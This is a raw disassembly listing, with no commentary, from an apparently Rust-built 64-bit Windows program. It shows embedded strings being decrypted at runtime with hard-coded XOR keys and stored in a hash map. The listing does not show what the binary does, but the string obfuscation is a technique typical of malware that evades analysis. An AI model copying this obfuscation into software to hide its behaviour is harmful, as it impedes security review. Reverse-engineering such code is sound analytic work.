mov rdx, qword [rsp + 0x40]
call fcn.1400e92e0
mov esi, dword [rax]
movzx eax, byte [0x14017a148]
mov edx, 4
xor ecx, ecx
call fcn.1400dbb10
test rax, rax
je 0x14000bdfe
xor esi, 0xfb79658e
mov dword [rax], esi
mov qword [rsp + 0xa0], 4
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0xb0], 4
lea rax, [0x1401028e1]
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
movabs rax, 0xcf2cce562928c52c
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x40]
call fcn.1400e8fd0
mov r12, qword [rax]
mov r15, qword [rax + 8]
mov r14, qword [rax + 0x10]
mov rbx, qword [rax + 0x18]
mov esi, dword [rax + 0x20]
movzx edi, word [rax + 0x24]
movzx r13d, byte [rax + 0x26]
movzx eax, byte [0x14017a148]
mov edx, 0x27
xor ecx, ecx
call fcn.1400dbb10
test rax, rax
je 0x14000bdfe
shl r13d, 0x10
or edi, r13d
mov ecx, edi
shr ecx, 0x10
xor cl, 0xcf
mov edx, edi
xor dl, 0x53
shr edi, 8
xor dil, 6
movzx edx, dl
movzx r8d, dil
shl r8d, 8
or r8d, edx
xor esi, 0x80dbffa4
movabs rdx, 0xa130c7c09d92322b
xor rbx, rdx
movabs rdx, 0xb17bde17380d4876
xor r14, rdx
movabs rdx, 0xf0359f597c44a41a
xor r15, rdx
movabs rdx, 0x5c18efac3272defa
xor r12, rdx
mov qword [rax], r12
mov qword [rax + 8], r15
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], rbx
mov dword [rax + 0x20], esi
mov word [rax + 0x24], r8w
mov byte [rax + 0x26], cl
mov qword [rsp + 0x40], 0x27
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 0x27
lea rcx, [rsp + 0xd0]
lea rdx, [rsp + 0x70]
lea r8, [rsp + 0xa0]
lea r12, [rsp + 0x40]
mov r9, r12
call fcn.1400edf30
mov rax, qword [rsp + 0xd0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14000a168
test rax, rax
je 0x14000a168
mov r8, qword [rsp + 0xd8]
mov rcx, qword [0x14017a0c0]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
lea rax, [0x140103e8e]
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
movabs rax, 0xb02eb41c9b5cda21
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x40]
call fcn.1400e8ac0
movzx esi, word [rax]
movzx edi, byte [rax + 2]
movzx eax, byte [0x14017a148]
mov edx, 3
xor ecx, ecx
call fcn.1400dbb10
test rax, rax
je 0x14000bdfe
shl edi, 0x10
or esi, edi
mov ecx, esi
xor cl, 0x6f
mov edx, esi
shr edx, 8
xor dl, 0x85
movzx ecx, cl
movzx edx, dl
shl edx, 8
or edx, ecx
shr esi, 0x10
xor sil, 0xde
mov byte [rax + 2], sil
mov word [rax], dx
mov qword [rsp + 0xa0], 3
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0xb0], 3
lea rax, [0x14010c188]
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
movabs rax, 0xa0a9f56b7d17bb72
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x40]
call fcn.1400e90a0
mov r14, qword [rax]
mov rbx, qword [rax + 8]
mov rdi, qword [rax + 0x10]
mov rsi, qword [rax + 0x18]
movzx r15d, byte [rax + 0x20]
movzx eax, byte [0x14017a148]
mov edx, 0x21
xor ecx, ecx
call fcn.1400dbb10
test rax, rax
je 0x14000bdfe
movabs rcx, 0x42397e88ccab5c1c
xor rsi, rcx
movabs rcx, 0xf0ba9e234213251b
xor rdi, rcx
movabs rcx, 0xe30cd69484f8f9f7
xor rbx, rcx
movabs rcx, 0xdb1c1d29d61c131
xor r14, rcx
xor r15b, 0xfc
mov qword [rax], r14
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], rsi
mov byte [rax + 0x20], r15b
mov qword [rsp + 0x40], 0x21
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 0x21
lea rcx, [rsp + 0xd0]
lea rdx, [rsp + 0x70]
lea r8, [rsp + 0xa0]
mov r9, r12
call fcn.1400edf30
mov rax, qword [rsp + 0xd0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14000a30b
test rax, rax
je 0x14000a30b
mov r8, qword [rsp + 0xd8]
mov rcx, qword [0x14017a0c0]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
lea rax, [0x140102dbf]
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
movabs rax, 0x52a5227d62fd49ee
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x40]
call fcn.1400e92b0
movzx esi, word [rax]
movzx edi, byte [rax + 2]
movzx eax, byte [0x14017a148]
mov edx, 3
xor ecx, ecx
call fcn.1400dbb10
test rax, rax
je 0x14000bdfe
shl edi, 0x10
or esi, edi
mov ecx, esi
xor cl, 0x4e
mov edx, esi
shr edx, 8
xor dl, 0x1c
movzx ecx, cl
movzx edx, dl
shl edx, 8
or edx, ecx
shr esi, 0x10
xor sil, 0xa6
mov byte [rax + 2], sil
mov word [rax], dx
mov qword [rsp + 0xa0], 3
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0xb0], 3
lea rax, [0x140108172]
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
movabs rax, 0x3023c172551a2d07
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x40]
call fcn.1400e9380
mov r14, qword [rax]
mov rbx, qword [rax + 8]
mov rdi, qword [rax + 0x10]
mov rsi, qword [rax + 0x18]
movzx r15d, byte [rax + 0x20]
movzx eax, byte [0x14017a148]
mov edx, 0x21
xor ecx, ecx
call fcn.1400dbb10
test rax, rax
je 0x14000bdfe
movabs rcx, 0x4ef9d7b4a4c15637
xor rsi, rcx
movabs rcx, 0xafbf833b8d43796c
xor rdi, rcx
movabs rcx, 0xe789e9b33d0e2fae
xor rbx, rcx
movabs rcx, 0xec5bc8cf60daf264
xor r14, rcx
xor r15b, 0xd3
mov qword [rax], r14
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], rsi
mov byte [rax + 0x20], r15b
mov qword [rsp + 0x40], 0x21
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 0x21
lea rcx, [rsp + 0xd0]
lea rdx, [rsp + 0x70]
lea r8, [rsp + 0xa0]
mov r9, r12
call fcn.1400edf30
mov rax, qword [rsp + 0xd0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14000a4ae
test rax, rax
je 0x14000a4ae
mov r8, qword [rsp + 0xd8]
mov rcx, qword [0x14017a0c0]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
lea rax, [0x1401043e4]
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
movabs rax, 0x8e56a193ababf261
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x40]
call fcn.1400e9340
movzx esi, word [rax]
movzx edi, byte [rax + 2]
movzx eax, byte [0x14017a148]
mov edx, 3
xor ecx, ecx
call fcn.1400dbb10
test rax, rax
je 0x14000bdfe
shl edi, 0x10
or esi, edi
mov ecx, esi
xor cl, 0x3e
mov edx, esi
shr edx, 8
xor dl, 0xed
movzx ecx, cl
movzx edx, dl
shl edx, 8
or edx, ecx
shr esi, 0x10
xor sil, 0xe0
mov byte [rax + 2], sil
mov word [rax], dx
mov qword [rsp + 0xa0], 3
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0xb0], 3
lea rax, [0x14010dfa7]
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
movabs rax, 0xd6f0ad06acd3f9b7
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x40]
call fcn.1400e8b20
mov r14, qword [rax]
mov rbx, qword [rax + 8]
mov rdi, qword [rax + 0x10]
mov esi, dword [rax + 0x18]
movzx r15d, word [rax + 0x1c]
movzx eax, byte [0x14017a148]
mov edx, 0x1e
xor ecx, ecx
call fcn.1400dbb10
test rax, rax
je 0x14000bdfe
mov ecx, r15d
xor cl, 0xdb
shr r15d, 8
xor r15b, 0x6c
movzx edx, r15b
shl edx, 8
movzx ecx, cl
or ecx, edx
xor esi, 0xda0f24f
movabs rdx, 0xc6cffb7f54c802d6
xor rdi, rdx
movabs rdx, 0x2b1636f22951401b
xor rbx, rdx
movabs rdx, 0xe1378799828a987b
xor r14, rdx
mov qword [rax], r14
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov dword [rax + 0x18], esi
mov word [rax + 0x1c], cx
mov qword [rsp + 0x40], 0x1e
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 0x1e
lea rcx, [rsp + 0xd0]
lea rdx, [rsp + 0x70]
lea r8, [rsp + 0xa0]
mov r9, r12
call fcn.1400edf30
mov rax, qword [rsp + 0xd0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14000a65e
test rax, rax
je 0x14000a65e
mov r8, qword [rsp + 0xd8]
mov rcx, qword [0x14017a0c0]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
lea rax, [0x14010bed0]
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
movabs rax, 0x56afafc3f43be999
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x40]
call fcn.1400e9140
movzx esi, word [rax]
movzx edi, byte [rax + 2]
movzx eax, byte [0x14017a148]
mov edx, 3
xor ecx, ecx
call fcn.1400dbb10
test rax, rax
je 0x14000bdfe
shl edi, 0x10
or esi, edi
mov ecx, esi
xor cl, 0x3a
mov edx, esi
shr edx, 8
xor dl, 0xe3
movzx ecx, cl
movzx edx, dl
shl edx, 8
or edx, ecx
shr esi, 0x10
xor sil, 0x61
mov byte [rax + 2], sil
mov word [rax], dx
mov qword [rsp + 0xa0], 3
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0xb0], 3
lea rax, [0x140105d3c]
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
movabs rax, 0xd6b7a7307d81ec6b
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x40]
call fcn.1400e9160
mov rdi, qword [rax]
mov rsi, qword [rax + 8]
mov rbx, qword [rax + 0x10]
movzx eax, byte [0x14017a148]
mov edx, 0x18
xor ecx, ecx
call fcn.1400dbb10
test rax, rax
je 0x14000bdfe
movabs rcx, 0xa7a6d5d9b4ddcc52
xor rsi, rcx
movabs rcx, 0x2b6ba1bc4ef8abff
xor rdi, rcx
movabs rcx, 0x18defb3edea4a1b7
xor rbx, rcx
mov qword [rax], rdi
mov qword [rax + 8], rsi
mov qword [rax + 0x10], rbx
mov qword [rsp + 0x40], 0x18
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 0x18
lea rcx, [rsp + 0xd0]
lea rdi, [rsp + 0x70]
mov rdx, rdi
lea r8, [rsp + 0xa0]
mov r9, r12
call fcn.1400edf30
mov rax, qword [rsp + 0xd0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14000a7e2
test rax, rax
je 0x14000a7e2
mov r8, qword [rsp + 0xd8]
mov rcx, qword [0x14017a0c0]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
mov r14, qword [rsp + 0x70]
mov r15, qword [rsp + 0x88]
movdqa xmm0, xmmword [r14]
pmovmskb r13d, xmm0
not r13d
lea r12, [r14 + 0x10]
jmp 0x14000a81a
lea eax, [r13 - 1]
and eax, r13d
mov r13d, eax
sub r15, 1
jb 0x14000a990
test r13w, r13w
jne 0x14000a852
nop word [rax + rax]
movdqa xmm0, xmmword [r12]
pmovmskb r13d, xmm0
add r14, 0xfffffffffffffd00
add r12, 0x10
cmp r13d, 0xffff
je 0x14000a830
not r13d
tzcnt eax, r13d
neg rax
lea rbx, [rax + rax*2]
shl rbx, 4
mov rdx, qword [r14 + rbx - 0x10]
mov r8, qword [r14 + rbx - 8]
lea rcx, [rsp + 0x40]
call fcn.14004b740
cmp qword [rsp + 0x40], 0
je 0x14000bdfe
movdqu xmm0, xmmword [rsp + 0x40]
movdqu xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0xb0], xmm1
movdqa xmmword [rsp + 0xa0], xmm0
mov rsi, qword [rsp + 0xa0]
mov rdx, qword [rsp + 0xa8]
mov rcx, rsi
mov r8, qword [rsp + 0xc8]
mov r9, rbp
call fcn.140001a70
test al, al
jne 0x14000aa5d
lock dec qword [rsi]
jne 0x14000a8de
lea rcx, [rsp + 0xa0]
call fcn.1400ef740
mov rsi, qword [rsp + 0xa8]
mov rbx, qword [rsi + 0x18]
mov rdi, qword [rsi + 0x20]
mov rcx, rbx
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x14000a916
cmp qword [rdi + 0x10], 0x11
jb 0x14000a905
mov rbx, qword [rbx - 8]
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, rbx
call sub.KERNEL32.dll_HeapFree
mov rcx, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
call fcn.1400ecf90
cmp qword [rsi], 0
je 0x14000a93f
mov rax, qword [rsi + 8]
mov r8, qword [rax - 8]
mov rcx, qword [0x14017a0c0]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
cmp dword [rsi + 0x30], 3
lea rdi, [rsp + 0x70]
je 0x14000a953
lea rcx, [rsi + 0x30]
call fcn.140001710
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, rsi
call sub.KERNEL32.dll_HeapFree
mov rax, qword [rsp + 0xb0]
lock dec qword [rax]
jne 0x14000a810
mov rcx, qword [rsp + 0xb0]
mov rdx, qword [rsp + 0xb8]
call fcn.14004d570
jmp 0x14000a810
mov rsi, qword [rsp + 0x78]
test rsi, rsi
je 0x14000ab8b
mov rbx, qword [rsp + 0x70]
mov r14, qword [rsp + 0x88]
test r14, r14
je 0x14000ab5d
movdqa xmm0, xmmword [rbx]
pmovmskb r13d, xmm0
not r13d
lea r15, [rbx + 0x10]
mov r12, rbx
jmp 0x14000a9e6
dec r14
lea eax, [r13 - 1]
and eax, r13d
mov r13d, eax
test r14, r14
je 0x14000ab5d
test r13w, r13w
jne 0x14000aa11
nop dword [rax]
movdqa xmm0, xmmword [r15]
pmovmskb r13d, xmm0
add r12, 0xfffffffffffffd00
add r15, 0x10
cmp r13d, 0xffff
je 0x14000a9f0
not r13d
tzcnt eax, r13d
neg rax
lea rax, [rax + rax*2]
shl rax, 4
lea rdi, [r12 + rax]
cmp qword [r12 + rax - 0x30], 0
je 0x14000aa3f
mov r8, qword [rdi - 0x28]
mov rcx, qword [0x14017a0c0]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
cmp qword [rdi - 0x18], 0
je 0x14000a9d0
mov r8, qword [rdi - 0x10]
mov rcx, qword [0x14017a0c0]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
jmp 0x14000a9d0
lock dec qword [rsi]
jne 0x14000aa70
lea rcx, [rsp + 0xa0]
call fcn.1400ef740
mov rsi, qword [rsp + 0xa8]
mov r15, qword [rsi + 0x18]
mov rdi, qword [rsi + 0x20]
mov rcx, r15
call qword [rdi]
cmp qword [rdi + 8], 0
mov r13, qword [rsp + 0xc8]
je 0x14000aab0
cmp qword [rdi + 0x10], 0x11
jb 0x14000aa9f
mov r15, qword [r15 - 8]
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, r15
call sub.KERNEL32.dll_HeapFree
mov rcx, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
call fcn.1400ecf90
cmp qword [rsi], 0
je 0x14000aad9
mov rax, qword [rsi + 8]
mov r8, qword [rax - 8]
mov rcx, qword [0x14017a0c0]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
cmp dword [rsi + 0x30], 3
lea rdi, [rsp + 0x70]
je 0x14000aaed
lea rcx, [rsi + 0x30]
call fcn.140001710
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, rsi
call sub.KERNEL32.dll_HeapFree
mov rax, qword [rsp + 0xb0]
lock dec qword [rax]
jne 0x14000ab21
mov rcx, qword [rsp + 0xb0]
mov rdx, qword [rsp + 0xb8]
call fcn.14004d570
add r14, rbx
mov rsi, qword [r14 - 0x28]
mov r14, qword [r14 - 0x20]
test r14, r14
je 0x14000acc4
js 0x14000bdfe
movzx eax, byte [0x14017a148]
xor ecx, ecx
mov rdx, r14
call fcn.1400dbb10
test rax, rax
je 0x14000bdfe
mov rbx, rax
jmp 0x14000acc9
lea rax, [rsi + 1]
mov ecx, 0x30
mul rcx
add rsi, rax
cmp rsi, 0xffffffffffffffef
lea rdi, [rsp + 0x70]
je 0x14000ab8b
sub rbx, rax
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, rbx
call sub.KERNEL32.dll_HeapFree
mov r13, qword [rsp + 0xc8]
mov r12, qword [rsp + 0xe8]
jmp 0x14000ba9d
cmp qword [0x14010a088], 0
je 0x14000bc2a
mov rax, qword [0x14017d038]
mov dword [rsp + 0x40], 0
lea rcx, [0x14010a098]
xor edx, edx
mov r8, r15
xor r9d, r9d
call sub.KERNEL32.dll_InitOnceBeginInitialize
cmp eax, 1
jne 0x14000bdfe
cmp dword [rsp + 0x40], 0
je 0x14000bc69
call sub.KERNEL32.dll_TlsAlloc
cmp eax, 0xffffffff
je 0x14000be00
mov esi, eax
inc eax
mov dword [0x14010a0a0], eax
mov rax, qword [0x14017a0a0]
lea rcx, [0x14010a088]
nop dword [rax + rax]
mov qword [0x14010a090], rax
lock cmpxchg qword [0x14017a0a0], rcx
jne 0x14000ac10
lea rcx, [0x14010a098]
xor edx, edx
xor r8d, r8d
call sub.KERNEL32.dll_InitOnceComplete
mov ecx, esi
jmp 0x140009853
lea rax, [0x14010157c]
mov qword [rsp + 0x70], rax
mov rcx, qword [rsp + 0x70]
movabs rax, 0xf5fb0e7fb66fda59
mov qword [rsp + 0x70], rax
mov rdx, qword [rsp + 0x70]
call fcn.1400e9220
movzx esi, word [rax]
movzx edi, byte [rax + 2]
movzx eax, byte [0x14017a148]
mov edx, 3
xor ecx, ecx
call fcn.1400dbb10
test rax, rax
je 0x14000bdfe
mov rbx, rax
shl edi, 0x10
or esi, edi
mov eax, esi
xor al, 0xb0
mov ecx, esi
shr ecx, 8
xor cl, 0xa2
movzx eax, al
movzx ecx, cl
shl ecx, 8
or ecx, eax
shr esi, 0x10
xor sil, 0xd9
mov byte [rbx + 2], sil
mov word [rbx], cx
mov r14d, 3
lea rdi, [rsp + 0x70]
jmp 0x14000ae03
mov ebx, 1
mov rcx, rbx
mov rdx, rsi
mov r8, r14
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x78]
test rax, rax
je 0x14000aded
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0x68], rbx
mov r15, qword [rsp + 0x70]
mov r12, qword [rsp + 0x88]
test r12, r12
je 0x14000adaa
mov rbx, r15
movdqa xmm0, xmmword [r15]
pmovmskb esi, xmm0
not esi
lea r13, [r15 + 0x10]
jmp 0x14000ad2f
dec r12
lea eax, [rsi - 1]
and eax, esi
mov esi, eax
test r12, r12
je 0x14000adaa
test si, si
jne 0x14000ad5f
nop word cs:[rax + rax]
movdqa xmm0, xmmword [r13]
pmovmskb esi, xmm0
add rbx, 0xfffffffffffffd00
add r13, 0x10
cmp esi, 0xffff
je 0x14000ad40
not esi
tzcnt eax, esi
neg rax
lea rax, [rax + rax*2]
shl rax, 4
lea rdi, [rbx + rax]
cmp qword [rbx + rax - 0x30], 0
je 0x14000ad8c
mov r8, qword [rdi - 0x28]
mov rcx, qword [0x14017a0c0]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
cmp qword [rdi - 0x18], 0
je 0x14000ad20
mov r8, qword [rdi - 0x10]
mov rcx, qword [0x14017a0c0]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
jmp 0x14000ad20
mov r8, qword [rsp + 0xc0]
lea rax, [r8 + 1]
mov ecx, 0x30
mul rcx
add r8, rax
cmp r8, 0xffffffffffffffef
lea rdi, [rsp + 0x70]
mov r13, qword [rsp + 0xc8]
mov rbx, qword [rsp + 0x68]
je 0x14000aded
sub r15, rax
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, r15
call sub.KERNEL32.dll_HeapFree
test r14, r14
lea r15, [rsp + 0x40]
mov r12, qword [rsp + 0xe8]
je 0x14000ba9d
mov rax, qword [0x14017a070]
cmp rax, 2
je 0x14000ae5c
mov byte [rsp + 0xd0], 1
lea rax, [0x14017a030]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], r15
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x80], rax
lea rcx, [0x14017a070]
mov rdx, rdi
lea r8, method..1.virtual_0
call fcn.140045db0
xor eax, eax
mov cl, 1
lock cmpxchg byte [0x14017a038], cl
lea rsi, [0x14017a038]
je 0x14000af26
movzx eax, byte [0x14017a038]
cmp al, 1
jne 0x14000aea6
mov ecx, 0xffffff9d
nop word cs:[rax + rax]
pause
movzx eax, byte [0x14017a038]
cmp al, 1
jne 0x14000aea6
lea edx, [rcx + 1]
test ecx, ecx
mov ecx, edx
jne 0x14000ae90
test al, al
jne 0x14000af16
xor eax, eax
mov cl, 1
lock cmpxchg byte [0x14017a038], cl
jne 0x14000af16
jmp 0x14000af26
mov byte [rsp + 0x70], 2
mov r8d, 1
mov rcx, rsi
mov rdx, rdi
mov r9d, 0xffffffff
call sub.api_ms_win_core_synch_l1_2_0.dll_WaitOnAddress
cmp eax, 1
je 0x14000aee6
call sub.KERNEL32.dll_GetLastError
movzx eax, byte [0x14017a038]
cmp al, 1
jne 0x14000af16
mov ecx, 0xffffff9d
nop word cs:[rax + rax]
pause
movzx eax, byte [0x14017a038]
lea edx, [rcx + 1]
cmp al, 1
jne 0x14000af16
test ecx, ecx
mov ecx, edx
jne 0x14000af00
cmp al, 2
je 0x14000aec0
mov al, 2
xchg byte [0x14017a038], al
test al, al
jne 0x14000aec0
mov qword [rsp + 0x68], rbx
cmp qword [0x14017a058], 0
je 0x14000bdfe
movdqu xmm0, xmmword [0x14017a060]
pshufd xmm1, xmm0, 0x44
pxor xmm1, xmm7
pshufd xmm0, xmm0, 0xee
pxor xmm0, xmm8
mov rcx, r14
and rcx, 0xfffffffffffffff8
je 0x14000b013
movq rax, xmm1
pshufd xmm2, xmm0, 0xee
movq r10, xmm2
movq r9, xmm0
pshufd xmm0, xmm1, 0xee
movq r8, xmm0
xor edx, edx
mov rsi, qword [rsp + 0x68]
nop word cs:[rax + rax]
add rax, r9
rol r9, 0xd
mov r11, qword [rsi + rdx]
xor r9, rax
rol rax, 0x20
xor r10, r11
add r8, r10
rol r10, 0x10
xor r10, r8
add rax, r10
rol r10, 0x15
add r8, r9
rol r9, 0x11
xor r9, r8
rol r8, 0x20
xor r10, rax
xor rax, r11
add rdx, 8
cmp rdx, rcx
jb 0x14000af90
movq xmm1, r10
movq xmm0, r9
punpcklqdq xmm0, xmm1
movq xmm2, r8
movq xmm1, rax
punpcklqdq xmm1, xmm2
mov r9d, r14d
and r9d, 7
cmp r9d, 4
jb 0x14000b027
mov r10d, dword [rsi + rdx]
mov eax, 4
mov rcx, rax
or rcx, 1
cmp rcx, r9
jb 0x14000b038
jmp 0x14000b052
xor edx, edx
mov rsi, qword [rsp + 0x68]
mov r9d, r14d
and r9d, 7
cmp r9d, 4
jae 0x14000affc
xor r10d, r10d
xor eax, eax
mov rcx, rax
or rcx, 1
cmp rcx, r9
jae 0x14000b052
lea rcx, [rsi + rax]
movzx r8d, word [rdx + rcx]
lea ecx, [rax*8]
shl r8, cl
or r10, r8
or rax, 2
cmp rax, r9
jae 0x14000b06b
add rdx, rax
movzx edx, byte [rsi + rdx]
shl eax, 3
mov ecx, eax
shl rdx, cl
or r10, rdx
jmp 0x14000b074
test r9, r9
je 0x14000b104
lea ecx, [r9*8]
mov r8d, 0xff
shl r8, cl
or r8, r10
cmp r9, 7
jne 0x14000b10a
pshufd xmm2, xmm0, 0xee
movq rcx, xmm2
xor rcx, r8
movq rdx, xmm0
paddq xmm0, xmm1
movq rax, xmm0
rol rdx, 0xd
xor rdx, rax
rol rax, 0x20
pshufd xmm0, xmm1, 0xee
movq r9, xmm0
add r9, rcx
rol rcx, 0x10
xor rcx, r9
add rax, rcx
rol rcx, 0x15
add r9, rdx
rol rdx, 0x11
xor rcx, rax
xor rdx, r9
movq xmm1, rcx
movq xmm0, rdx
punpcklqdq xmm0, xmm1
rol r9, 0x20
xor rax, r8
movq xmm2, r9
movq xmm1, rax
punpcklqdq xmm1, xmm2
xor r8d, r8d
jmp 0x14000b10a
mov r8d, 0xff
pshufd xmm2, xmm1, 0xee
movq rax, xmm2
movq rcx, xmm0
pshufd xmm2, xmm0, 0xee
movq rdx, xmm2
mov r10, r14
shl r10, 0x38
movabs r9, 0x100000000000000
add r10, r9
mov qword [rsp + 0xf0], r10
or r8, r10
paddq xmm0, xmm1
rol rcx, 0xd
movq r9, xmm0
xor rcx, r9
rol r9, 0x20
xor rdx, r8
add rax, rdx
rol rdx, 0x10
xor rdx, rax
add r9, rdx
rol rdx, 0x15
add rax, rcx
rol rcx, 0x11
xor rdx, r9
xor rcx, rax
rol rax, 0x20
xor r9, r8
add r9, rcx
rol rcx, 0xd
xor rcx, r9
rol r9, 0x20
xor rax, 0xff
add rax, rdx
rol rdx, 0x10
xor rdx, rax
add r9, rdx
rol rdx, 0x15
add rax, rcx
rol rcx, 0x11
xor rcx, rax
rol rax, 0x20
xor rdx, r9
add r9, rcx
rol rcx, 0xd
xor rcx, r9
rol r9, 0x20
add rax, rdx
rol rdx, 0x10
xor rdx, rax
add r9, rdx
rol rdx, 0x15
add rax, rcx
rol rcx, 0x11
xor rcx, rax
rol rax, 0x20
xor rdx, r9
add r9, rcx
rol rcx, 0xd
add rax, rdx
rol rdx, 0x10
xor rdx, rax
rol rdx, 0x15
xor rcx, r9
add rax, rcx
rol rcx, 0x11
mov rbx, rax
rol rbx, 0x20
xor rbx, rcx
xor rbx, rdx
xor rbx, rax
mov rcx, qword [0x14017a040]
mov r13, qword [0x14017a048]
mov rax, rbx
shr rax, 0x39
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm13, xmm0, 0
mov qword [rsp + 0xc0], rcx
lea rsi, [rcx - 0x28]
xor r15d, r15d
and rbx, r13
mov rax, qword [rsp + 0xc0]
movdqu xmm14, xmmword [rax + rbx]
movdqa xmm0, xmm14
pcmpeqb xmm0, xmm13
pmovmskb edi, xmm0
nop dword [rax]
test di, di
je 0x14000b2b0
tzcnt eax, edi
lea ecx, [rdi - 1]
and ecx, edi
mov edi, ecx
add rax, rbx
and rax, r13
neg rax
lea r12, [rax + rax*4]
cmp r14, qword [rsi + r12*8 + 0x10]
jne 0x14000b270
lea rax, [rsi + r12*8]
mov rdx, qword [rax + 8]
mov rcx, qword [rsp + 0x68]
mov r8, r14
call sub.msvcrt.dll_memcmp
test eax, eax
jne 0x14000b270
jmp 0x14000b2d2
pcmpeqb xmm14, xmm9
pmovmskb eax, xmm14
test eax, eax
jne 0x14000bdfe
add rbx, r15
add rbx, 0x10
add r15, 0x10
jmp 0x14000b24a
mov rax, qword [rsp + 0xc0]
cmp qword [rax + r12*8 - 8], 0
mov eax, 0
xchg byte [0x14017a038], al
je 0x14000b513
cmp al, 2
lea rsi, [rsp + 0x40]
lea rdi, [rsp + 0x70]
lea rbx, [0x14017a038]
jne 0x14000b30e
mov rcx, rbx
call fcn.140107f78
mov rax, qword [0x14017a070]
cmp rax, 2
je 0x14000b367
mov byte [rsp + 0xd0], 1
lea rax, [0x14017a030]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rsi
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x80], rax
lea rcx, [0x14017a070]
mov rdx, rdi
lea r8, method..1.virtual_0
call fcn.140045db0
xor eax, eax
mov cl, 1
lock cmpxchg byte [0x14017a038], cl
je 0x14000b426
movzx eax, byte [0x14017a038]
cmp al, 1
jne 0x14000b3a6
mov ecx, 0xffffff9d
nop dword [rax]
pause
movzx eax, byte [0x14017a038]
cmp al, 1
jne 0x14000b3a6
lea edx, [rcx + 1]
test ecx, ecx
mov ecx, edx
jne 0x14000b390
test al, al
jne 0x14000b416
xor eax, eax
mov cl, 1
lock cmpxchg byte [0x14017a038], cl
jne 0x14000b416
jmp 0x14000b426
mov byte [rsp + 0x70], 2
mov r8d, 1
mov rcx, rbx
mov rdx, rdi
mov r9d, 0xffffffff
call sub.api_ms_win_core_synch_l1_2_0.dll_WaitOnAddress
cmp eax, 1
je 0x14000b3e6
call sub.KERNEL32.dll_GetLastError
movzx eax, byte [0x14017a038]
cmp al, 1
jne 0x14000b416
mov ecx, 0xffffff9d
nop word cs:[rax + rax]
pause
movzx eax, byte [0x14017a038]
lea edx, [rcx + 1]
cmp al, 1
jne 0x14000b416
test ecx, ecx
mov ecx, edx
jne 0x14000b400
cmp al, 2
je 0x14000b3c0
mov al, 2
xchg byte [0x14017a038], al
test al, al
jne 0x14000b3c0
cmp qword [0x14017a058], 0
je 0x14000bdfe
movdqu xmm0, xmmword [0x14017a060]
pshufd xmm1, xmm0, 0x44
pxor xmm1, xmm7
pshufd xmm0, xmm0, 0xee
pxor xmm0, xmm8
mov rcx, r14
and rcx, 0xfffffffffffffff8
je 0x14000b546
movq rax, xmm1
pshufd xmm2, xmm0, 0xee
movq r10, xmm2
movq r9, xmm0
